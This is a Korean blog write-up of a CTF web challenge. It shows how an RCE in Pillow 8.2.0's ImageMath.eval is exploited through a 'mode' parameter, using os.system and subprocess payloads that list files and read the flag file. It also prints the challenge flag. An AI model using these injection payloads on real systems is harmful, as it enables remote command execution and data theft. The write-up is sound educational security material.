티스토리 뷰

보안/CTF

[SSTF] [Web] Imageium Writeup(문제풀이)

돔돔이부하 2022. 8. 26. 00:01
728x90
반응형

첫 페이지

문제 사이트에 접속해보면 위와 같은 페이지를 볼 수 있습니다. Select mode 부분에 select box 로 선택할 수 있고, Submit 버튼을 눌러 서버에 전송할 수 있는 것 같습니다. 또 하단에는 powered by Pillow 8.2.0 으로 힌트를 주고 있는 듯하네요.

 

그리고 Pillow 8.2.0 버전에 해당하는 취약점 목록을 뽑아 봤을 때 아래와 같습니다.

https://security.snyk.io/package/pip/Pillow/8.2.0

 

Snyk Vulnerability Database | Snyk

The most comprehensive, accurate, and timely database for open source vulnerabilities.

security.snyk.io

생각보다 여러 취약점이 보이는데요.

 

일단 서비스에 대한 기능 분석을 더 해보았습니다.

R+G+B 모드를 선택하고 Submit 버튼을 눌렀을 때 modified 라는 경로로 mode 파라미터와 함께 전송되는 것을 볼 수 있었습니다. 그리고 그 결과로 바로 우측의 RGB 색상이 변환된 이미지가 나오는 것을 볼 수 있었습니다.

mode 가 어떤 것인지 모르겠으나 임의의 mode를 입력해서 전송해보았습니다.

돔돔이를 입력했더니 위와 같이 ImageMath 라는 라이브러리가 사용된다는 것을 짐작케 해줍니다.

 

이제 무슨 라이브러리가 사용되는지 알았으니 아까 위에서 보았던 Pillow 8.2.0 버전에 대한 취약점에서 ImageMath 클래스가 사용되는 취약점이 어떤 것이 있는지 살펴보았습니다.

https://security.snyk.io/vuln/SNYK-PYTHON-PILLOW-2331901

 

Snyk Vulnerability Database | Snyk

The most comprehensive, accurate, and timely database for open source vulnerabilities.

security.snyk.io

그랬더니 친숙한 취약점이 보입니다. 예전에 Hackthebox 문제를 풀 때도 나왔던 취약점인데요.

https://domdom.tistory.com/entry/Hackthebox-Amidst-Us-Writeup%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4

 

[Hackthebox] Amidst Us Writeup(문제풀이)

문제 개요 RCE with ImageMath.eval function in Pillow(v8.4.0) python package 코드 분석 requirements.txt 파일을 보면 Pillow==8.4.0 이 설치되어 있다고 합니다. 그리고 util.py 에는 마침 ImageMath.eval..

domdom.tistory.com

 

ImageMath.eval 함수에서 임의의 파이썬 코드가 실행된다는 점을 이용한 풀이를 작성한 바 있습니다. 이번 문제도 이와 동일한 문제라고 생각하여 임의의 코드를 실행해보았고 그 결과를 토대로 어떤 특정한 패턴이 있음을 알 수 있었습니다.

# http://imageium.sstf.site/dynamic/modified?mode=
(__import__('os').system('ls /etc/')) # return 0
(__import__('os').system('ls /asdf/')) # return 512
(__import__('os').system('/etc/')) # return 32256
(__import__('os').system('/asdf/')) # return 32512

존재하는 파일 또는 존재하지 않는 파일에 접근 또는 실행했을 때 반환되는 값이 달라지는 것이었습니다.

 

그럼 다시 말해 SCTF{ 으로 시작되는 내용이 담긴 파일이 존재할 때와 존재하지 않을 때의 차이점을 비교해서 결과적으로 최종적으로 Flag 를 추출할 수 있지 않을까라는 생각이 문득 들게 됩니다.

 

바로 테스트해보았습니다.

(__import__('os').system('grep -r "SCTF{3" ./'))

위와 같이 현재 디렉터리에서 SCTF{ 로 시작하는 파일이 존재하는지 여부를 확인했을 때 return 512 이라면 있다는 것이고, return 256 이라면 존재하지 않는다는 의미입니다.

 

이렇게 해서 한글자씩 alphanumeric + 몇가지 특수문자를 하나하나 대입하다보면 아래와 같이 최종적인 Flag 를 구할 수 있게 됩니다.

(__import__('os').system('grep -r "SCTF{3acH_1m@ge_Has_iTs_0wN_MagIC}" ./'))

 

사실 위 경우에는 결국 system 함수의 return 값을 반환받는 것으로 답을 구했지만, 사실 system 함수 말고도 subprocess 모듈 중에서는 실행한 명령어의 출력값을 반환하는 함수도 있습니다. 이를 이용한다면 더욱 빠르게 문제를 해결할 수 있겠죠.

(__import__('subprocess').check_output(['ls','./']))
(__import__('subprocess').check_output(['ls','./secret/']))
(__import__('subprocess').check_output(['cat','secret/flag.txt']))

 

- 끝 -

728x90
반응형
댓글